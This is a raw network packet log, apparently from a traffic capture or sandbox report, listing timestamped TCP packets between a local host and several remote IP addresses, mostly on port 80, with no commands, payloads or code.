Oct 29, 2024 20:35:24.381767988 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.381779909 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.381788015 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.381824970 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.381835938 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.381846905 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.381856918 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.381872892 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.381872892 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.381947994 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.381958961 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.381969929 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.381979942 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.381990910 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.381993055 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.381993055 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.382003069 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.382014036 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.382025003 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.382035971 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.382047892 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.382054090 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.382054090 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.382086039 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.382086039 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.383152962 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.383167028 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.383179903 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.383209944 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.383209944 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.383286953 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.417970896 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.418045998 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.418082952 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.418092966 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.418092966 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.418119907 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.418144941 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.418154955 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.418185949 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.418189049 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.418222904 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.418256998 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.418272018 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.418272018 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.418343067 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.418359041 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.418395996 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.418437958 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.418437958 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.418466091 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.418514967 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.418529987 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.418550014 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.418580055 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.418590069 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.418632984 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.418632984 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.418639898 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.418674946 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.418725967 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.418759108 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.418766975 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.418766975 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.418793917 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.418827057 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.418833971 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.418833971 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.418860912 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.418874025 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.418895006 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.418929100 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.418935061 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.418935061 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.418961048 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.418994904 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.419003010 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.419003010 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.419027090 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.419060946 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.419066906 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.419066906 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.419094086 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.419111967 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.419127941 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.419154882 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.419162035 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.419197083 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.419229031 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.419236898 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.419244051 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.419264078 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.419291973 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.419353962 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.454418898 CET	49962	443	192.168.2.5	20.125.209.212
Oct 29, 2024 20:35:24.454449892 CET	443	49962	20.125.209.212	192.168.2.5
Oct 29, 2024 20:35:24.454962969 CET	49962	443	192.168.2.5	20.125.209.212
Oct 29, 2024 20:35:24.454962969 CET	49963	443	192.168.2.5	108.156.211.59
Oct 29, 2024 20:35:24.454988956 CET	443	49963	108.156.211.59	192.168.2.5
Oct 29, 2024 20:35:24.455104113 CET	49963	443	192.168.2.5	108.156.211.59
Oct 29, 2024 20:35:24.455327988 CET	49962	443	192.168.2.5	20.125.209.212
Oct 29, 2024 20:35:24.455327988 CET	49963	443	192.168.2.5	108.156.211.59
Oct 29, 2024 20:35:24.455339909 CET	443	49962	20.125.209.212	192.168.2.5
Oct 29, 2024 20:35:24.455352068 CET	443	49963	108.156.211.59	192.168.2.5
Oct 29, 2024 20:35:24.567675114 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.578217030 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.836777925 CET	443	49955	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:24.837547064 CET	49955	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:24.837593079 CET	443	49955	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:24.838063955 CET	49955	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:24.838071108 CET	443	49955	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:24.845169067 CET	443	49953	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:24.846879959 CET	443	49954	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:24.847821951 CET	49953	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:24.847842932 CET	443	49953	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:24.848376989 CET	49953	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:24.848383904 CET	443	49953	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:24.852384090 CET	49954	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:24.852400064 CET	443	49954	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:24.853094101 CET	49954	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:24.853100061 CET	443	49954	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:24.858232975 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.858325958 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.858397961 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.858411074 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.858422041 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.858433008 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.858444929 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.858458042 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.858469009 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.858531952 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.858558893 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.858571053 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.858582020 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.858594894 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.858604908 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.858608007 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.858642101 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.858664989 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.858696938 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.858710051 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.858721018 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.858732939 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.858758926 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.858784914 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.858983994 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.858995914 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.859006882 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.859019041 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.859030962 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.859042883 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.859049082 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.859055996 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.859061003 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.859083891 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.859111071 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.859124899 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.859137058 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.859148026 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.859177113 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.859200001 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.859328985 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.859342098 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.859353065 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.859368086 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.859378099 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.859390020 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.859399080 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.859401941 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.859412909 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.859424114 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.859431028 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.859431028 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.859435081 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.859447002 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.859463930 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.859467030 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.859483004 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.859484911 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.859486103 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.859494925 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.859504938 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.859517097 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.859525919 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.859529972 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.859559059 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.859585047 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.859632969 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.859646082 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.859656096 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.859668970 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.859679937 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.859699011 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.859709024 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.859709024 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.859711885 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.859725952 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.859767914 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.859767914 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.859777927 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.859790087 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.859805107 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.859817028 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.859826088 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.859838009 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.859853029 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.859910011 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.859910011 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.859922886 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.859939098 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.859950066 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.859961033 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.859961987 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.859972954 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.859985113 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.859998941 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.860008955 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.860008955 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.860065937 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.860066891 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.860078096 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.860089064 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.860101938 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.860114098 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.860126019 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.860126019 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.860157013 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.860244989 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.860256910 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.860266924 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.860277891 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.860308886 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.860327005 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.860414028 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.860425949 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.860436916 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.860495090 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.860569000 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.860580921 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.860591888 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.860604048 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.860615015 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.860630035 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.860641956 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.860652924 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.860654116 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.860654116 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.860670090 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.860682011 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.860683918 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.860692978 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.860707998 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.860718012 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.860721111 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.860732079 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.860743046 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.860753059 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.860754967 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.860766888 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.860766888 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.860780001 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.860797882 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.860797882 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.860837936 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.860874891 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.860888004 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.860898972 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.860910892 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.860920906 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.860922098 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.860939980 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.860953093 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.860964060 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.860968113 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.860968113 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.860975981 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.860987902 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.861000061 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.861005068 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.861005068 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.861011982 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.861025095 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.861032009 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.861037970 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.861068964 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.861129999 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.861175060 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.861186981 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.861197948 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.861208916 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.861222029 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.861233950 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.861242056 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.861244917 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.861255884 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.861257076 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.861285925 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.861315966 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.861484051 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.861496925 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.861507893 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.861543894 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.861543894 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.861629963 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.861641884 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.861654043 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.861665010 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.861713886 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.861746073 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.861772060 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.861783981 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.861795902 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.861808062 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.861857891 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.861954927 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.861964941 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.861974955 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.861989021 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.861989975 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.861999989 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.862011909 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.862014055 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.862025023 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.862035990 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.862047911 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.862102032 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.862129927 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.862143040 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.862159967 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.862170935 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.862207890 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.862241030 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.862246037 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.862253904 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.862263918 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.862276077 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.862287998 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.862301111 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.862328053 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.862345934 CET	49863	80	192.168.2.5	185.215.113.206
